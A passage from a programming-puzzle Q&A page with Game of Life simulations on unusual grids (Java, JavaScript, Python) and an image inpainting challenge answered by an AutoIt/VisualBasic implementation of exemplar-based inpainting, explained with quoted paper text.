0}, {-7, 0, 0, -7}, }, new int[][] { {0, 8, 4}, {0, 4, -4}, {0, -4, -8}, {0, -8, -4}, {0, -4, 4}, {0, 4, 8}, {8, 16, 20, 12}, {12, 20, 16, 8}, {12, 8, 4, 8}, {4, 8, 4, 0}, {0, 4, -4, -8}, {0, -8, -4, 4}, {-4, -8, -16, -12}, {-12, -16, -20, -16}, {-12, -16, -8, -4}, {-8, -16, -20, -12}, {-12, -20, -16, -8}, {-12, -8, -4, -8}, {-4, -8, -4, 0}, {0, -4, 4, 8}, {0, 8, 4, -4}, {4, 8, 16, 12}, {12, 16, 20, 16}, {12, 16, 8, 4}, }); } @Override public boolean isInterestingOscillationPeriod(int period) { return period != 2 && period != 4; } } ``` [Answer] # Javascript, HexagonSplit Disclaimer: Its pretty slow due to lots of dom manipulation and probably needs a bugfix for the x-axis to not wrap-around. Fiddle <http://jsfiddle.net/16bhsr52/9/> Fiddle now allows to toggle active cells. Still Live ![enter image description here](https://i.stack.imgur.com/MYWRL.png) ![enter image description here](https://i.stack.imgur.com/PRxY2.png) ![enter image description here](https://i.stack.imgur.com/7iZtZ.png) Oscillator ![2 phase](https://i.stack.imgur.com/ltVDR.png) ![2 phase](https://i.stack.imgur.com/BXL8x.png) Spaceship (2 phases, two variants) ![2 phase](https://i.stack.imgur.com/dfhwt.png) ![variant of first](https://i.stack.imgur.com/XzbZE.png) Spacehip (4 phases) ![enter image description here](https://i.stack.imgur.com/qmL9e.png) Javascript ``` //-- Prepare -- var topX = 0; var topY = 0; var sizeX = 40; var sizeY = 10; var patternSizeX = 17; var patternSizeY = 43; var patternElements = 3; var neighbourTopLeft = -(sizeX + 1) * patternElements; var neighbourTop = -(sizeX) * patternElements; var neighbourTopRight = -(sizeX - 1) * patternElements; var neighbourLeft = -patternElements; var neighbourRight = +patternElements; var neighbourBottomLeft = +(sizeX - 1) * patternElements; var neighbourBottom = +(sizeX) * patternElements; var neighbourBottomRight = +(sizeX + 1) * patternElements; var patternNeighbours = [ [neighbourTopLeft + 2, neighbourTop + 2, neighbourTopRight + 2, neighbourLeft, neighbourLeft + 1, 1, neighbourRight], [neighbourLeft + 1, 0, 2, neighbourRight, neighbourRight + 1, neighbourRight + 2], [neighbourLeft + 1, neighbourLeft + 2, 1, neighbourRight + 2, neighbourBottomLeft, neighbourBottom, neighbourBottomRight] ]; for (i = 0; i < sizeX; i++) { for (j = 0; j < sizeY; j++) { var tileId = (j * sizeX + i) * patternElements; $("body").append('<div id="t' + (tileId) + '" class="shapeDown" style="left:' + topX + patternSizeX * i + 'px;top:' + topY + patternSizeY * j + 'px;">'); $("body").append('<div id="t' + (tileId + 1) + '" class="shapeHexagon" style="left:' + (8 + topX + patternSizeX * i) + 'px;top:' + (17 + topY + patternSizeY * j) + 'px;">'); $("body").append('<div id="t' + (tileId + 2) + '" class="shapeUp" style="left:' + topX + patternSizeX * i + 'px;top:' + (34 + topY + patternSizeY * j) + 'px;">'); } } //-- Populate -- for (i = 0; i < (patternElements * sizeX * sizeY) / 5; i++) { $("#t" + Math.floor((Math.random() * (patternElements * sizeX * sizeY)))).addClass("shapeAlive"); }; //-- Animate -- setInterval(progress, 1000); function progress() { var dying = []; var rising = []; for (i = 0; i < sizeX; i++) { for (j = 0; j < sizeY; j++) { var tileBaseId = (j * sizeX + i) * patternElements; for (k = 0; k < patternElements; k++) { var tileSelect = "#t" + (tileBaseId + k); var alive = $(tileSelect).filter(".shapeAlive").length; var nbSelect = $.map(patternNeighbours[k], function (n, i) { return ("#t" + (tileBaseId + n)); }).join(); var count = $(nbSelect).filter(".shapeAlive").length; if (alive && (count < 2 || count > 3)) { dying.push(tileSelect); }; if (!alive && count == 3) { rising.push(tileSelect); }; } } } $(dying.join()).removeClass("shapeAlive"); $(rising.join()).addClass("shapeAlive"); }; ``` CSS ``` .shapeHexagon { background-color: black; height: 8px; width: 16px; position: absolute; } .shapeUp { background-color: black; height: 8px; width: 16px; position: absolute; } .shapeUp:after, .shapeHexagon:before { content:""; position: absolute; top: -8px; left: 0px; width: 0; height: 0; border-style: solid; border-color: transparent transparent black; border-width: 0px 8px 8px 8px; } .shapeAlive.shapeUp { background-color: green; } .shapeAlive.shapeUp:after { border-color: transparent transparent green; } .shapeDown { background-color: black; height: 8px; width: 16px; position: absolute; } .shapeDown:after, .shapeHexagon:after { content:""; position: absolute; top: 8px; left: 0px; width: 0; height: 0; border-style: solid; border-color: black transparent transparent transparent; border-width: 8px 8px 0 8px; } .shapeAlive.shapeUp:after, .shapeAlive.shapeHexagon:before { border-color: transparent transparent green; } .shapeAlive.shapeDown, .shapeAlive.shapeHexagon { background-color: green; } .shapeAlive.shapeDown:after, .shapeAlive.shapeHexagon:after { border-color: green transparent transparent transparent; } ``` [Answer] ## Rectangles of width 2row in Python 3, +2 The shape of this grid is as follows: ``` ______________ [______________] [______][______] [__][__][__][__] [][][][][][][][] ``` Coincidentally, each cell in this grid has 8 neighbors, just like the original square tiling of the Game of Life. Unfortunately, this tiling has the terrible property that each cell only has two north neighbors. That means a pattern can never propagate southward, including southeast or southwest. This property leads to a situation that makes oscillators rather unlikely, although one might exist of the sort that has walls on two sides and blinking cells in the middle. It also seems to have the property (I'm not 100% sure yet) that no pattern can grow while moving north. A row will never grow to a wider maximum extent number of cells than the row below it. I think that means no gliders or more complicated forms. That leaves us with a measly +2 bonus for a wide variety of still lifes, of which these are only a small sample: ``` AA__ _BC_ AABB _CD_ AA__BB _CXXD_ <-- XX can be any multiple of 2 wide ____YYYY____ __AA____BB__ ___CXXXXD___ <-- XX can be any multiple of 4 wide ____YYYYOOOO <-- OOOO can continue to the right and could be the bottom of a stack of this pattern __AA____BB__ ___CXXXX____ <-- XX can be any multiple of 4 wide OOOOYYYYOOOO <-- same stackability as above __AA____BB__ ____XXXX____ <-- XX can be any multiple of 4 wide ``` Here is the code, which when run will draw an 8-row grid (1 cell in the top row, 128 cells in the bottom row). Any key will advance one step, except `r` will randomize the board and `q` will exit the program. ``` #!/usr/bin/env python3 import random import readchar class board: def __init__(self, rows = 8): if rows>10: raise ValueError("Too many rows!") self.rows = rows self.cells = [[cell() for c in range(int(2**(r)))] for r in range(rows)] def __str__(self): out = [] for r,row in enumerate(self.cells): out.append(''.join([str(row[c])*(2**(self.rows-r-1)) for c in range(len(row))])) return "\n".join(out) def randomize(self): for row in self.cells: for c,cel in enumerate(row): row[c].state = random.choice([True,False]) def state_at(self,r,c): if r==None or c==None: raise TypeError() if r<0 or c<0: return False if r>=self.rows: return False if c>=len(self.cells[r]): return False return self.cells[r][c].state def tick(self): new_cells = [[cell() for c in range(int(2**(r)))] for r in range(self.rows)] for r,row in enumerate(self.cells): for c,cel in enumerate(row): # print(f"cell {r} {c}") cur = cel.state # print(cur) neighbors = 0 # same row, left and right neighbors += self.state_at(r,c-1) neighbors += self.state_at(r,c+1) # straight up neighbors += self.state_at(r-1,int(c/2)) # straight down neighbors += self.state_at(r+1,c*2) neighbors += self.state_at(r+1,c*2+1) # down left neighbors += self.state_at(r+1,c*2-1) # down right neighbors += self.state_at(r+1,c*2+2) if c%2==0: # up left neighbors += self.state_at(r-1,int(c/2)-1) else: # up right neighbors += self.state_at(r-1,int(c/2)+1) # print(neighbors) if cur: if neighbors<2 or neighbors>3: # print("turn off") new_cells[r][c].state = False else: new_cells[r][c].state = True continue if neighbors==3: # print("turn on") new_cells[r][c].state = True continue new_cells[r][c].state = False continue self.cells = new_cells class cell: def __init__(self, state = False): self.state = state def __str__(self): return self.state and "X" or "_" b = board(8) b.randomize() print(b) while(1): i = readchar.readchar() if i=='q': break if i=='r': b.randomize() b.tick() print() print(b) ``` PS: This grid is the equivalent of regular in a particularly shaped non-Euclidean space :) ]
[Question] [ In a popular image editing software there is a feature, that patches (The term used in image processing is *inpainting* as @mınxomaτ pointed out.) a selected area of an image, based on the information *outside* of that patch. And it does a quite good job, considering it is just a program. As a human, you can sometimes see that something is wrong, but if you squeeze your eyes or just take a short glance, the *patch* seems to fill in the *gap* quite well. [![example by popular image editing software](https://i.stack.imgur.com/4aPAy.png)](https://i.stack.imgur.com/4aPAy.png) ### Challenge Given an image and a mask that specifies a rectangular area of the image should be patched (also as image, or any other preferred format), your program should try to fill the specified area with a patch that tries to blend in with the rest of the image. The program cannot use the information of the original image that was within the specified area. You can assume that the patch always is at least it's width away from the sides, and it's height away from the top and the bottom of the image. That means the maximum area of a patch is 1/9 of the whole image. Please add a brief description on how your algorithm works. ### Voting Voters are asked to judge how well the algorithms perform and vote accordingly. Some suggestions on how to judge: (Again, thanks @mınxomaτ for the some more criterions.) * If you squint your eyes and the picture looks fine? * Can you exactly tell where the patch is? * How well are structures and textures from the image background and surrounding area continued? * How much stray false color pixels does the edited area contain? * Are there any uniformly colored blobs/blocks in the area that don't seem to belong there? * Does the edited area have any drastic color / contrast or brightness shifts compared to the rest of the image? ### Validity criterion In order for a submission to be valid, the output image must exactly match the input image outside of the specified area. ### Test case On the left the source image, on the right the corresponding mask: ![](https://i.stack.imgur.com/pxHVa.png) ![](https://i.stack.imgur.com/L9xTr.png) ![](https://i.stack.imgur.com/ZcwQQ.png) ![](https://i.stack.imgur.com/K6ALS.png) ![](https://i.stack.imgur.com/x0W9G.png) ![](https://i.stack.imgur.com/Crfdx.png) ![](https://i.stack.imgur.com/rzAwo.png) ![](https://i.stack.imgur.com/f1LLK.png) ![](https://i.stack.imgur.com/e0hc0.png) ![](https://i.stack.imgur.com/8oirn.png) ![](https://i.stack.imgur.com/1aa8a.png) ![](https://i.stack.imgur.com/Mz79a.png) [Answer] ## [AutoIt](https://www.autoitscript.com/forum/), VB ### Introduction This is an implementation of the *Object Removal by Exemplar-Based Inpainting* algorithm developed by A. Criminisi, P. Perez (Cambridge Microsoft Research Ltd.) and K. Toyama (Microsoft) [X]. This algorithm is targeted at high-information images (and video frames) and aims to be the balance between structural reconstruction and organic reconstruction. *Paragraphs of this answer contain full text quotes from the original paper (since it is no longer officially available) to make this answer more self-contained.* ### The Algorithm **Goal**: Replace a selected (*masked*) area (preferably a visually separated foreground object) with visually plausible backgrounds. In previous work, several researchers have considered texture synthesis as a way to fill large image regions with "pure" textures - repetitive two-dimensional textural patterns with moderate stochasticity. This is based on a large body of texture-synthesis research, which seeks to replicate texture *ad infinitum*, given a small source sample of pure texture [1] [8] [9] [10] [11] [12] [14] [15] [16] [19] [22]. As effective as these techniques are in replicating consistent texture, they have difficulty filling holes in photographs of real-world scenes, which often consist of linear structures and composite textures – multiple textures interacting spatially [23]. The main problem is that boundaries between image regions are a complex product of mutual influences between different textures. In contrast to the two-dimensional nature of pure textures, these boundaries form what might be considered more one-dimensional, or linear, image structures. *Image inpainting* techniques fill holes in images by propagating linear structures (called *isophotes* in the *inpainting* literature) into the target region via diffusion. They are inspired by the partial differential equations of physical heat flow, and work convincingly as restoration algorithms. Their drawback is that the diffusion process introduces some blur, which is noticeable. [![fig. 2](https://i.stack.imgur.com/d29Uq.png)](https://i.stack.imgur.com/d29Uq.png) The region to be filled, i.e., the target region is indicated by Ω, and its contour is denoted δΩ. The contour evolves inward as the algorithm progresses, and so we also refer to it as the “fill front”. The source region, Φ, which remains fixed throughout the algorithm, provides samples used in the filling process. We now focus on a single iteration of the algorithm to show how structure and texture are adequately handled by exemplar-based synthesis. Suppose that the square template Ψp ∈ Ω centred at the point p (fig. 2b), is to be filled. The best-match sample from the source region comes from the patch Ψqˆ ∈ Φ, which is most similar to those parts that are already filled in Ψp. In the example in fig. 2b, we see that if Ψp lies on the continuation of an image edge, the most likely best matches will lie along the same (or a similarly coloured) edge (e.g., Ψq' and Ψq'' in fig. 2c). All that is required to propagate the isophote inwards is a simple transfer of the pattern from the best-match source patch (fig. 2d). Notice that isophote orientation is automatically preserved. In the figure, despite the fact that the original edge is not orthogonal to the target contour δΩ, the propagated structure has maintained the same orientation as in the source region. ### Implementation and Algorithm Details The functionality of this implementation is encapsulated in an ActiveX COM DLL which is dropped from the host program as a binary and then invoked on the fly by calling the inpainter by IID. In this specific case, the API is written in VisualBasic and can be called from any COM-enabled language. The following section of the code drops the binary: ``` Func deflate($e=DllStructCreate,$f=@ScriptDir&"\inpaint.dll") If FileExists($f) Then Return !! BINARY CODE OMITTED FOR SIZE REASONS !! $a=$e("byte a[13015]") DllCall("Crypt32.dll","bool","CryptStringToBinaryA","str",$_,"int",0,"int",1,"struct*",$a,"int*",13015,"ptr",0,"ptr",0) $_=$a.a $b=$e('byte a[13015]') $b.a=$_ $c=$e("byte a[14848]") DllCall("ntdll.dll","int","RtlDecompressBuffer","int",2,"struct*",$c,"int",14848,"struct*",$b,"int",13015,"int*",0) $d=FileOpen(@ScriptDir&"\inpaint.dll",18) FileWrite($d,Binary($c.a)) FileClose($d) EndFunc ``` The library is later instantiated using the CLSID and IID: ``` Local $hInpaintLib = DllOpen("inpaint.dll") Local $oInpaintLib = ObjCreate("{3D0C8F8D-D246-41D6-BC18-3CF18F283429}", "{2B0D9752-15E8-4B52-9569-F64A0B12FFC5}", $hInpaintLib) ``` The library accepts a GDIOBJECT handle, specifically a DIBSection of any GDI/+ bitmap (files, streams etc.). The specified image file is loaded, and drawn onto an empty bitmap constructed from `Scan0` from the input image dimensions. The input file for this implementation is any GDI/+ compatible file format containing masked image data. The *mask(s)* is one or more uniformly colored regions in the input image. The user supplies a RGB color value for the mask, only pixels with exactly that color value will be matched. The default masking color is green (0, 255, 0). All masked regions together represent the target region, Ω, to be removed and filled. The source region, Φ, is defined as the entire image minus the target region (Φ = I−Ω). Next, as with all exemplar-based texture synthesis [10], the size of the template window Ψ (aka "*scan radius*") must be specified. This implementation provides a default window size of 6² pixels, but in practice require the user to set it to be slightly larger than the largest distinguishable texture element, or “texel”, in the source region. An additional modification to the original algorithm is the user-definable "*block size*" which determines the area of pixels to be replaced with a new uniform color. This increases speed and decreases quality. Block sizes geater than 1px are meant to be used with extremely uniform areas (water, sand, fur etc.), however, Ψ should be kept at max. .5x the block size (which can be impossible depending on the mask). To not stall the algorithm on 1bit images, every time an image with less than 5 colors is received, the window size is amplified by 10x. Once these parameters are determined, the remainder of the region-filling process is completely automatic. In our algorithm, each pixel maintains a colour value (or “empty”, if the pixel is unfilled) and a confidence value, which reflects our confidence in the pixel value, and which is frozen once a pixel has been filled. During the course of the algorithm, patches along the fill front are also given a temporary priority value, which determines the order in which they are filled. Then, our algorithm iterates the following three steps until all pixels have been filled. **Step 1: Computing patch priorities** Filling order is crucial to non-parametric texture synthesis [1] [6] [10] [13]. Thus far, the default favorite has been the “onion peel” method, where the target region is synthesized from the outside inward, in concentric layers. Our algorithm performs this task through a best-first filling algorithm that depends entirely on the priority values that are assigned to each patch on the fill front. The priority computation is biased toward those patches which are on the continuation of strong edges and which are surrounded by high-confidence pixels, these pixel are the boundary, marked by the value -2. The following code recalculates the priorities: ``` For j = m_top To m_bottom: Y = j * m_width: For i = m_left To m_right If m_mark(Y + i) = -2 Then m_pri(Y + i) = ComputeConfidence(i, j) * ComputeData(i, j) Next i: Next j ``` [![enter image description here](https://i.stack.imgur.com/InYsE.png)](https://i.stack.imgur.com/InYsE.png) Given a patch Ψp centered at the point p for some p ∈ δΩ (see fig. 3), its priority P(p) is defined as the product of the calculated confidence (`ComputeConfidence`, or *C(p)*) and the *data term* (`ComputeData`, or *D(p)*), where [![](https://i.stack.imgur.com/ph6mX.png)](https://i.stack.imgur.com/ph6mX.png) (source: [imgup.net](https://k13.imgup.net/equ1ccf.png)) , where |Ψp| is the area of Ψp, α is a normalization factor (e.g., α = 255 for a typical grey-level image), and np is a unit vector orthogonal to the front δΩ in the point p. The priority is computed for every border patch, with distinct patches for each pixel on the boundary of the target region. Implemented as ``` Private Function ComputeConfidence(ByVal i As Long, ByVal j As Long) As Double Dim confidence As Double Dim X, Y As Long For Y = IIf(j - Winsize > 0, j - Winsize, 0) To IIf(j + Winsize < m_height - 1, j + Winsize, m_height - 1): For X = IIf(i - Winsize > 0, i - Winsize, 0) To IIf(i + Winsize < m_width - 1, i + Winsize, m_width - 1) confidence = confidence + m_confid(Y * m_width + X) Next X: Next Y ComputeConfidence = confidence / ((Winsize * 2 + 1) * (Winsize * 2 + 1)) End Function Private Function ComputeData(ByVal i As Long, ByVal j As Long) As Double Dim grad As CPOINT Dim temp As CPOINT Dim grad_T As CPOINT Dim result As Double Dim magnitude As Double Dim max As Double Dim X As Long Dim Y As Long Dim nn As CPOINT Dim Found As Boolean Dim Count, num As Long Dim neighbor_x(8) As Long Dim neighbor_y(8) As Long Dim record(8) As Long Dim n_x As Long Dim n_y As Long Dim tempL As Long Dim square As Double For Y = IIf(j - Winsize > 0, j - Winsize, 0) To IIf(j + Winsize < m_height - 1, j + Winsize, m_height - 1): For X = IIf(i - Winsize > 0, i - Winsize, 0) To IIf(i + Winsize < m_width - 1, i + Winsize, m_width - 1) If m_mark(Y * m_width + X) >= 0 Then Found = False Found = m_mark(Y * m_width + X + 1) < 0 Or m_mark(Y * m_width + X - 1) < 0 Or m_mark((Y + 1) * m_width + X) < 0 Or m_mark((Y - 1) * m_width + X) < 0 If Found = False Then temp.X = IIf(X = 0, m_gray(Y * m_width + X + 1) - m_gray(Y * m_width + X), IIf(X = m_width - 1, m_gray(Y * m_width + X) - m_gray(Y * m_width + X - 1), (m_gray(Y * m_width + X + 1) - m_gray(Y * m_width + X - 1)) / 2#)) temp.Y = IIf(Y = 0, m_gray((Y + 1) * m_width + X) - m_gray(Y * m_width + X), IIf(Y = m_height - 1, m_gray(Y * m_width + X) - m_gray((Y - 1) * m_width + X), (m_gray((Y + 1) * m_width + X) - m_gray((Y - 1) * m_width + X)) / 2#)) magnitude = temp.X ^ 2 + temp.Y ^ 2 If magnitude > max Then grad.X = temp.X grad.Y = temp.Y max = magnitude End If End If End If Next X: Next Y grad_T.X = grad.Y grad_T.Y = -grad.X For Y = IIf(j - 1 > 0, j - 1, 0) To IIf(j + 1 < m_height - 1, j + 1, m_height - 1): For X = IIf(i - 1 > 0, i - 1, 0) To IIf(i + 1 < m_width - 1, i + 1, m_width - 1): Count = Count + 1 If X <> i Or Y <> j Then If m_mark(Y * m_width + X) = -2 Then num = num + 1 neighbor_x(num) = X neighbor_y(num) = Y record(num) = Count End If End If Next X: Next Y If num = 0 Or num = 1 Then ComputeData = Abs((0.6 * grad_T.X + 0.8 * grad_T.Y) / 255) Else n_x = neighbor_y(2) - neighbor_y(1) n_y = neighbor_x(2) - neighbor_x(1) square = CDbl(n_x ^ 2 + n_y ^ 2) ^ 0.5 ComputeData = Abs((IIf(n_x = 0, 0, n_x / square) * grad_T.X + IIf(n_y = 0, 0, n_y / square) * grad_T.Y) / 255) End If End Function ``` The confidence term C(p) may be thought of as a measure of the amount of reliable information surrounding the pixel p. The intention is to fill first those patches which have more of their pixels already filled, with additional preference given to pixels that were filled early on (or that were never part of the target region). This automatically incorporates preference towards certain shapes along the fill front. For example, patches that include corners and thin tendrils of the target region will tend to be filled first, as they are surrounded by more pixels from the original image. These patches provide more reliable information against which to match. Conversely, patches at the tip of “peninsulas” of filled pixels jutting into the target region will tend to be set aside until more of the surrounding pixels are filled in. At a coarse level, the term C(p) of (1) approximately enforces the desirable concentric fill order. As filling proceeds, pixels in the outer layers of the target region will tend to be characterized by greater confidence values, and therefore be filled earlier; pixels in the center of the target region will have lesser confidence values. The data term D(p) is a function of the strength of isophotes hitting the front δΩ at each iteration. This term boosts the priority of a patch that an isophote "flows" into. This factor is of fundamental importance in our algorithm because it encourages linear structures to be synthesized first, and, therefore propagated securely into the target region. Broken lines tend to connect, thus realizing the "Connectivity Principle" of vision psychology [7] [17]. The fill order is dependent on image properties, resulting in an organic synthesis process that eliminates the risk of “broken-structure” artifacts and also reduces blocky artifacts without an expensive patch-cutting step [9] or a blur-inducing blending step [19]. **Step 2: Propagating texture and structure information** Once all priorities on the fill front (*boundary*) have been computed, the patch Ψpˆ with highest priority is found. We then fill it with data extracted from the source region Φ. We propagate image texture by direct sampling of the source region. Similar to [10], we search in the source region for that patch which is most similar to Ψpˆ. Formally, [![](https://i.stack.imgur.com/GCwKA.png)](https://i.stack.imgur.com/GCwKA.png) (source: [imgup.net](https://l71.imgup.net/equ22980.png)) , where the distance d(Ψa, Ψb) between two generic patches Ψa and Ψb is simply defined as the sum of squared differences (SSD) of the already filled pixels in the two patches. No further analysis or manipulation (*especially no blurring*) is done in this step. This calculation runs in the main cycle loop and is implemented as follows: Getting the maximum priority: ``` For j = m_top To m_bottom: Jidx = j * m_width: For i = m_left To m_right If m_mark(Jidx + i) = -2 And m_pri(Jidx + i) > max_pri Then pri_x = i pri_y = j max_pri = m_pri(Jidx + i) End If Next i: Next j ``` Finding the most similar patch: ``` min = 99999999 For j = PatchT To PatchB: Jidx = j * m_width: For i = PatchL To PatchR If m_source(Jidx + i) Then sum = 0 For iter_y = -Winsize To Winsize: target_y = pri_y + iter_y If target_y > 0 And target_y < m_height Then target_y = target_y * m_width: For iter_x = -Winsize To Winsize: target_x = pri_x + iter_x If target_x > 0 And target_x < m_width Then Tidx = target_y + target_x If m_mark(Tidx) >= 0 Then source_x = i + iter_x source_y = j + iter_y Sidx = source_y * m_width + source_x temp_r = m_r(Tidx) - m_r(Sidx) temp_g = m_g(Tidx) - m_g(Sidx) temp_b = m_b(Tidx) - m_b(Sidx) sum = sum + temp_r * temp_r + temp_g * temp_g + temp_b * temp_b End If End If Next iter_x End If Next iter_y If sum < min Then: min = sum: patch_x = i: patch_y = j End If Next i: Next j ``` **Step 3: Updating confidence values** After the patch Ψpˆ has been filled with new pixel values, the confidence C(p) is updated in the area delimited by Ψpˆ as follows: [![](https://i.stack.imgur.com/SibQa.png)](https://i.stack.imgur.com/SibQa.png) (source: [imgup.net](https://p67.imgup.net/equ37e5b.png)) This simple update rule allows us to measure the relative confidence of patches on the fill front, without image-specific parameters. As filling proceeds, confidence values decay, indicating that we are less sure of the color values of pixels near the center of the target region. Implemented here (along with all other necessary updates): ``` x0 = -Winsize For iter_y = -Winsize To Winsize: For iter_x = -Winsize To Winsize x0 = patch_x + iter_x y0 = patch_y + iter_y x1 = pri_x + iter_x y1 = pri_y + iter_y X1idx = y1 * m_width + x1 If m_mark(X1idx) < 0 Then X0idx = y0 * m_width + x0 PicAr1(x1, y1) = m_color(X0idx) m_color(X1idx) = m_color(X0idx) m_r(X1idx) = m_r(X0idx) m_g(X1idx) = m_g(X0idx) m_b(X1idx) = m_b(X0idx) m_gray(X1idx) = CDbl((m_r(X0idx) * 3735 + m_g(X0idx) * 19267 + m_b(X0idx) * 9765) / 32767) m_confid(X1idx) = ComputeConfidence(pri_x, pri_y) End If Next iter_x: Next iter_y For Y = IIf(pri_y - Winsize - 2 > 0, pri_y - Winsize - 2, 0) To IIf(pri_y + Winsize + 2 < m_height - 1, pri_y + Winsize + 2, m_height - 1): Yidx = Y * m_width: For X = IIf(pri_x - Winsize - 2 > 0, pri_x - Winsize - 2, 0) To IIf(pri_x + Winsize + 2 < m_width - 1, pri_x + Winsize + 2, m_width - 1) m_mark(Yidx + X) = IIf(PicAr1(X, Y).rgbRed = MaskRed And PicAr1(X, Y).rgbgreen = MaskGreen And PicAr1(X, Y).rgbBlue = MaskBlue, -1, Source) Next X: Next Y For Y = IIf(pri_y - Winsize - 2 > 0, pri_y - Winsize - 2, 0) To IIf(pri_y + Winsize + 2 < m_height - 1, pri_y + Winsize + 2, m_height - 1): Yidx = Y * m_width: For X = IIf(pri_x - Winsize - 2 > 0, pri_x - Winsize - 2, 0) To IIf(pri_x + Winsize + 2 < m_width - 1, pri_x + Winsize + 2, m_width - 1) If m_mark(Yidx + X) = -1 Then Found = (Y = m_height - 1 Or Y = 0 Or X = 0 Or X = m_width - 1) Or m_mark(Yidx + X - 1) = Source Or m_mark(Yidx + X + 1) = Source Or m_mark((Y - 1) * m_width + X) = Source Or m_mark((Y + 1) * m_width + X) = Source If Found Then: Found = False: m_mark(Yidx + X) = -2 End If Next X: Next Y For i = IIf(pri_y - Winsize - 3 > 0, pri_y - Winsize - 3, 0) To IIf(pri_y + Winsize + 3 < m_height - 1, pri_y + Winsize + 3, m_height - 1): Yidx = i * m_width: For j = IIf(pri_x - Winsize - 3 > 0, pri_x - Winsize - 3, 0) To IIf(pri_x + Winsize + 3 < m_width - 1, pri_x + Winsize + 3, m_width - 1) If m_mark(Yidx + j) = -2 Then m_pri(Yidx + j) = ComputeConfidence(j, i) * ComputeData(j, i) Next j: Next i ``` ### Complete Code [Here's](https://gist.github.com/minxomat/de9f710670659546faaf) the run-able code, complete with the libraries' source code as comments. The code is invoked by ``` inpaint(infile, outfile, blocksize, windowsize, r, g, b) ``` Examples are included in the form of ``` ;~ inpaint("gothic_in.png", "gothic_out.png") ;~ inpaint("starry_in.png", "starry_out.png") ;~ inpaint("scream_in.png", "scream_out.png") ;~ inpaint("mona_in.png", "mona_out.png") ;~ inpaint("maze_in.png", "maze_out.png") ;~ inpaint("checker_in.png", "checker_out.png") ``` just uncomment the example you want to run using `CTRL`+`Q`. ### Official Test Files This algorithm is *made* to be adjusted for each image. Therefore, the default values (and also the default masks) are completely suboptimal. The default values are chosen so that every sample can be processed in a reasonable amount of time. I highly recommend to play with irregularly shaped masks and better window sizes. Click the images to enlarge! **Checkerboard** [![](https://i.stack.imgur.com/16OLF.jpg)](https://i.stack.imgur.com/SspfN.png) (source: [imgup.net](https://l42t.imgup.net/checker_in2883.jpg)) → [![](https://i.stack.imgur.com/xz6gv.jpg)](https://i.stack.imgur.com/8K4r8.png) (source: [imgup.net](https://h80t.imgup.net/checker_ou0d47.jpg)) **American Gothic** [![](https://i.stack.imgur.com/Z7Irw.jpg)](https://i.stack.imgur.com/hZLUl.png) (source: [imgup.net](https://c05t.imgup.net/gothic_inb8e0.jpg)) → [![](https://i.stack.imgur.com/l1ZPt.jpg)](https://i.stack.imgur.com/JKbmR.png) (source: [imgup.net](https://v14t.imgup.net/gothic_out7ded.jpg)) **Maze** [![](https://i.stack.imgur.com/5rDvT.jpg)](https://i.stack.imgur.com/k8OTm.png) (source: [imgup.net](https://n06t.imgup.net/maze_in9957.jpg)) → [![](https://i.stack.imgur.com/c1XLv.jpg)](https://i.stack.imgur.com/ruaOQ.png) (source: [imgup.net](https://d67t.imgup.net/maze_out3e50.jpg)) **Mona Lisa** [![](https://i.stack.imgur.com/6vyKv.jpg)](https://i.stack.imgur.com/6seaG.png) (source: [imgup.net](https://i82t.imgup.net/mona_ina4bb.jpg)) → [![](https://i.stack.imgur.com/grg4B.jpg)](https://i.stack.imgur.com/dDjKq.png) (source: [imgup.net](https://s08t.imgup.net/mona_out4ccf.jpg)) (terrible mask) **Scream** [![](https://i.stack.imgur.com/U8a7R.jpg)](https://i.stack.imgur.com/mOjHK.png) (source: [imgup.net](https://s52t.imgup.net/scream_in6784.jpg)) → [![](https://i.stack.imgur.com/SrsYN.jpg)](https://i.stack.imgur.com/m72da.png) (source: [imgup.net](https://e80t.imgup.net/scream_outa7d6.jpg)) **Starry** [![](https://i.stack.imgur.com/VY8Pg.jpg)](https://i.stack.imgur.com/8RNyx.png) (source: [imgup.net](https://p76t.imgup.net/starry_inf1ef.jpg)) → [![](https://i.stack.imgur.com/VxFxi.jpg)](https://i.stack.imgur.com/MQX6w.png) (source: [imgup.net](https://o68t.imgup.net/starry_out4421.jpg)) ### Real-World Examples These all use custom hand-drawn masks. [![](https://i.stack.imgur.com/LOQkc.jpg)](https://i.stack.imgur.com/LOQkc.jpg) (source: [imgup.net](https://p14.imgup.net/beach_0rg0f10.jpg)) [![](https://i.stack.imgur.com/jsV1V.jpg)](https://i.stack.imgur.com/jsV1V.jpg) (source: [imgup.net](https://m75.imgup.net/908cc2425512de.jpg)) [![](https://i.stack.imgur.com/rXW29.jpg)](https://i.stack.imgur.com/rXW29.jpg) (source: [imgup.net](https://v47.imgup.net/owl0efc.jpg)) If you have other interesting images you'd like to see included, leave a comment. ### EBII Improvements There are multiple variants of EBII out there, created by various researchers. [AnkurKumar Patel](https://gtu-in.academia.edu/AnkurKumarPatel) caught my attention with his collection of papers [24] on various EBII improvements. Specifically the paper "*Improved Robust Algorithm For Exemplar Based Image Inpainting*" [25] mentions two improvements on the weighing of the priority values. **The improvement** The effective modification is in Step 1 (see above) of the algorithm, and extends the *C(p)* and *D(p)* effect on the priority rating for this pixel using this: In the formula for *C* and *D* given above, ![](https://i.stack.imgur.com/kQSxQ.png) and ![](https://i.stack.imgur.com/SjOLJ.png) are respectively the normalization factor (e.g., α = 255), the isophote vector, and the unit vector orthogonal to the front ![](https://i.stack.imgur.com/gFlZd.png) in the point p. Further, ![](https://i.stack.imgur.com/ZGjlc.png) The priority function is defined as the weight sum of the regularized confidence term *C(p)* and the new data term *D(p)*. Where α is the adjustment coefficient, satisfying 0<w<1. Finally the robust priority function *Rp(p)* is defined follows: ![](https://i.stack.imgur.com/AAs5r.png) Where α and β are respectively the component weights of the confidence and the data terms. Note that *α+β=1*. **Objective scoring** What is really interesting though is that this paper contains a proposed (and simple!) method for scoring the performance if EBII algorithms. Take this with a grain of salt though, as this is a method chosen by the paper authors themselves to verify the effectiveness of the proposed variance approach and the improvement on several images. The result evaluation is performed by comparing the PSNR (the Peak Signal-to-Noise Ratio [26]) between the restored image and original image. Generally the higher the PSNR value the larger the similarity of the repaired image to the original. The equation to calculate the PSNR is as follows: ![](https://i.stack.imgur.com/NUzEn.png) These are the staggering 2 (two!) real-world test images they used: [![](https://i.stack.imgur.com/aX7c1.png)](https://i.stack.imgur.com/aX7c1.png) (source: [imgup.net](https://a62.imgup.net/faces6a3b.png)) [![](https://i.stack.imgur.com/f8ucQ.png)](https://i.stack.imgur.com/f8ucQ.png) (source: [imgup.net](https://e68.imgup.net/blessing9406.png)) The conclusion is as disappointing as the quality 